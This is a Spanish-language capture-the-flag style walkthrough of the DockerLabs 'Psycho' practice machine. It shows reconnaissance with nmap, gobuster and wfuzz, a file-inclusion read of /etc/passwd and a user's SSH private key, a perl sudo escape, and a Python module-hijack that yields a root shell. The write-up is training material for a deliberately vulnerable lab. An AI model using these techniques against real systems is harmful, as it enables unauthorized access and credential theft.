> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/psycho.md).

# Psycho

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Psycho** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Usamos `7z` para extraer los archivos:

```bash
7z x psycho.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fus8EhiDRLBdchhT3uA5n%2FPasted%20image%2020250705095756.png?alt=media&amp;token=8028ba04-da4f-419e-84ef-b793d98fac35" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script (`auto_deploy.sh`) para levantar la máquina en Docker:

```bash
bash auto_deploy.sh psycho.tar
```

**Resultado:** La máquina se despliega correctamente con la IP `172.17.0.2`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FrHxdnEsPNRsnfgyjxuK9%2FPasted%20image%2020250705095909.png?alt=media&amp;token=b889773a-4729-4785-a658-8cdb99c0d825" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Primero, confirmamos que la máquina responde con `ping`:

```bash
ping -c 1 172.17.0.2
```

El `TTL=64` indica que el sistema operativo es **Linux**.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FN81db2Z86oO85SL1JSBc%2FPasted%20image%2020250705100019.png?alt=media&amp;token=2a257b94-e1b0-4633-b7b4-17e7b0403758" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido para detectar puertos abiertos con `nmap`:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos (1-65535).
* `-sS`: Escaneo SYN (stealth, no completa la conexión TCP).
* `--open`: Muestra solo puertos abiertos.
* `--min-rate 5000`: Acelera el escaneo enviando 5000 paquetes/segundo.
* `-vvv`: Máximo nivel de verbosidad (más detalles).
* `-n`: Evita resolución DNS (más rápido).
* `-Pn`: Trata el host como activo (evita detección por `ping`).
* `-oG allPorts`: Guarda los resultados en formato Grepable, en el archivo `allPorts`.

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FhfCeBQP9rZIUSrrUYiH1%2FPasted%20image%2020250705100057.png?alt=media&amp;token=bccaa042-c662-4563-9bbc-0c74b53dfa4f" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo detallado para obtener más información de los puertos abiertos:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* **Puerto 22:** OpenSSH 9.6p1.
* **Puerto 80:** Apache httpd 2.4.58.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FKQP9XrrFABKZoL1tRO65%2FPasted%20image%2020250705100125.png?alt=media&amp;token=89a219af-c899-4098-964f-0ef2ad2d748e" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos a `http://172.17.0.2/` y observamos:

* Un mensaje de error: `[!] ERROR [!]`.

**Hipótesis:** Posible recurso no cargado.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHjZOPz32v8sNys1WwaCR%2FPasted%20image%2020250705100155.png?alt=media&amp;token=f7fa52a0-47a6-4bde-ae1e-39dda66e19c9" alt=""><figcaption></figcaption></figure>

#### **2.4.1. Búsqueda de directorios y archivos**

Usamos `gobuster` para descubrir rutas ocultas:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html
```

**Explicación de los parámetros:**

* `dir`: Modo de búsqueda de directorios.
* `-u`: URL objetivo.
* `-w`: Wordlist a usar.
* `-x`: Extensiones a buscar (`php`, `html`).

**Resultados:**

* `/assets`: Contiene una imagen (`background.jpg`).
* `/index.php`: Página principal.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FzIQ6bdWaEOtHxI6HiVut%2FPasted%20image%2020250705100355.png?alt=media&amp;token=abe63c34-25d9-473d-9ab7-bdca2fffe2d5" alt=""><figcaption></figcaption></figure>

#### **2.4.2. Análisis de la imagen**

Descargamos la imagen y revisamos los metadatos con `exiftool`:

```bash
wget http://172.17.0.2/assets/background.jpg
```

```bash
exiftool background.jpg
```

**Resultados:** No encontramos información relevante oculta en los metadatos.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fg2s50fClH0QUUXxI48sO%2FPasted%20image%2020250705100512.png?alt=media&amp;token=21c181fe-45d6-4f59-93a6-a855c6ed7ff8" alt=""><figcaption></figcaption></figure>

#### **2.4.3. Descubrimiento del parámetro vulnerable**

Usamos `wfuzz` para encontrar parámetros ocultos:

```bash
wfuzz -c --hh=2596 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2/index.php?FUZZ=test"
```

**Explicación de los parámetros:**

* `-c`: Muestra resultados en color.
* `--hh=2596`: Oculta las respuestas con 2596 caracteres (tamaño de la respuesta por defecto).
* `-w`: Wordlist para fuzzing.
* `-u`: Define la URL objetivo.

**Resultado:** Parámetro `secret`: `http://172.17.0.2/index.php?secret=`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FqnN0fNHyo9xbyJZ3cAM0%2FPasted%20image%2020250705100820.png?alt=media&amp;token=c42dbaa8-5145-4af1-8076-913164fbcdf7" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Lectura arbitraria de archivos (LFI)**

El parámetro `secret` permite leer archivos del sistema.

Probamos a ver el contenido del archivo `/etc/passwd` a través de la siguiente URL: `http://172.17.0.2/index.php?secret=/etc/passwd`.

**Usuarios encontrados:**

* `luisillo`.
* `vaxei`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FLo1u3vyLJLljQz80RshC%2FPasted%20image%2020250705100911.png?alt=media&amp;token=fd3719ed-3846-44e7-9910-5817691fc246" alt=""><figcaption></figcaption></figure>

#### **3.1.1. Obtención de la clave SSH privada de vaxei**

Vamos a revisar si podemos acceder a la clave privada SSH del usuario `vaxei` con la siguiente URL en el navegador: `http://172.17.0.2/index.php?secret=/home/vaxei/.ssh/id_rsa`.

Como podemos comprobar, podemos ver la clave privada del usuario `vaxei`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FQ5eb1CeH1GP5GHofZGAC%2FPasted%20image%2020250705101034.png?alt=media&amp;token=8781e8d9-b80e-4742-9592-6992f0624947" alt=""><figcaption></figcaption></figure>

#### **3.2. Acceso SSH con la clave privada**

Copiamos la clave privada a un archivo en nuestro equipo local y le asignamos permisos para que solo el creador del archivo pueda leerlo y escribirlo:

```bash
chmod 600 id_rsa
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FsoHX3JFMUSYVMlV7DeaQ%2FPasted%20image%2020250705101252.png?alt=media&amp;token=9fe32125-6805-4f5c-a178-f025a3ba9655" alt=""><figcaption></figcaption></figure>

Accedemos por SSH:

```bash
ssh -i id_rsa vaxei@172.17.0.2
```

Como podemos comprobar, estamos como el usuario `vaxei` dentro de la máquina.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fyo1qaGYpJiMTPMrFjP3O%2FPasted%20image%2020250705101416.png?alt=media&amp;token=a5075b2d-274e-4dae-883d-90712f8ed5c5" alt=""><figcaption></figcaption></figure>

### **4. Escalada al usuario luisillo**

#### **4.1. Verificación de privilegios sudo**

Ejecutamos:

```bash
sudo -l
```

**Resultado:** Podemos ejecutar `perl` como el usuario `luisillo` sin proporcionar contraseña:

```bash
(luisillo) NOPASSWD: /usr/bin/perl
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F7AOt50vmEcVZ29RRxD84%2FPasted%20image%2020250705101503.png?alt=media&amp;token=59c0d0a5-98e0-43cf-9ad1-7ef06354cb10" alt=""><figcaption></figcaption></figure>

#### **4.2. Escalada con Perl (GTFOBins)**

[GTFOBins](https://gtfobins.github.io/) es un recurso esencial que recopila técnicas para explotar binarios del sistema. Al buscar "[perl](https://gtfobins.github.io/gtfobins/perl/)", encontramos el siguiente comando para escalar privilegios:

```bash
sudo -u luisillo perl -e 'exec "/bin/sh";'
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FrywCgt3O2ryzRAuJxBPB%2FPasted%20image%2020250705101606.png?alt=media&amp;token=c3d1f941-45fc-4cf6-bc74-1467304f90e1" alt=""><figcaption></figcaption></figure>

### **5. Escalada a root**

#### **5.1. Verificación de privilegios sudo**

Como `luisillo`, ejecutamos:

```bash
sudo -l
```

**Resultado:** Tenemos permisos para ejecutar el script en Python ubicado en la ruta `/opt/paw.py` como el usuario `root` sin proporcionar contraseña:

```bash
(ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FiDwrofcVJgB9Y8vNhGbQ%2FPasted%20image%2020250705101623.png?alt=media&amp;token=c4da618d-b0ee-4680-bc15-00192a6ed792" alt=""><figcaption></figcaption></figure>

#### **5.2. Análisis del script paw\.py**

El script contiene:

```python
import subprocess
subprocess.run(['echo Hello!'], check=True)
```

**Vulnerabilidad:** Python busca `subprocess.py` en el directorio actual antes que en librerías del sistema.

#### **5.3. Creación de un subprocess.py malicioso**

Creamos un archivo con:

```python
import os
os.system("/bin/bash")
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fmn9VJamSKkrV8gtpIJbp%2FPasted%20image%2020250705102103.png?alt=media&amp;token=b2ee1f5e-d2f2-471f-a045-7a08098469a2" alt=""><figcaption></figcaption></figure>

Ejecutamos el script con el siguiente comando:

```bash
sudo /usr/bin/python3 /opt/paw.py
```

**Resultado:** Obtenemos una shell como el usuario `root`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fcraycnwxf2q1Wl9OkHfE%2FPasted%20image%2020250705102218.png?alt=media&amp;token=8ac70bb4-c021-4322-9348-8790dbb6e8e4" alt=""><figcaption></figcaption></figure>
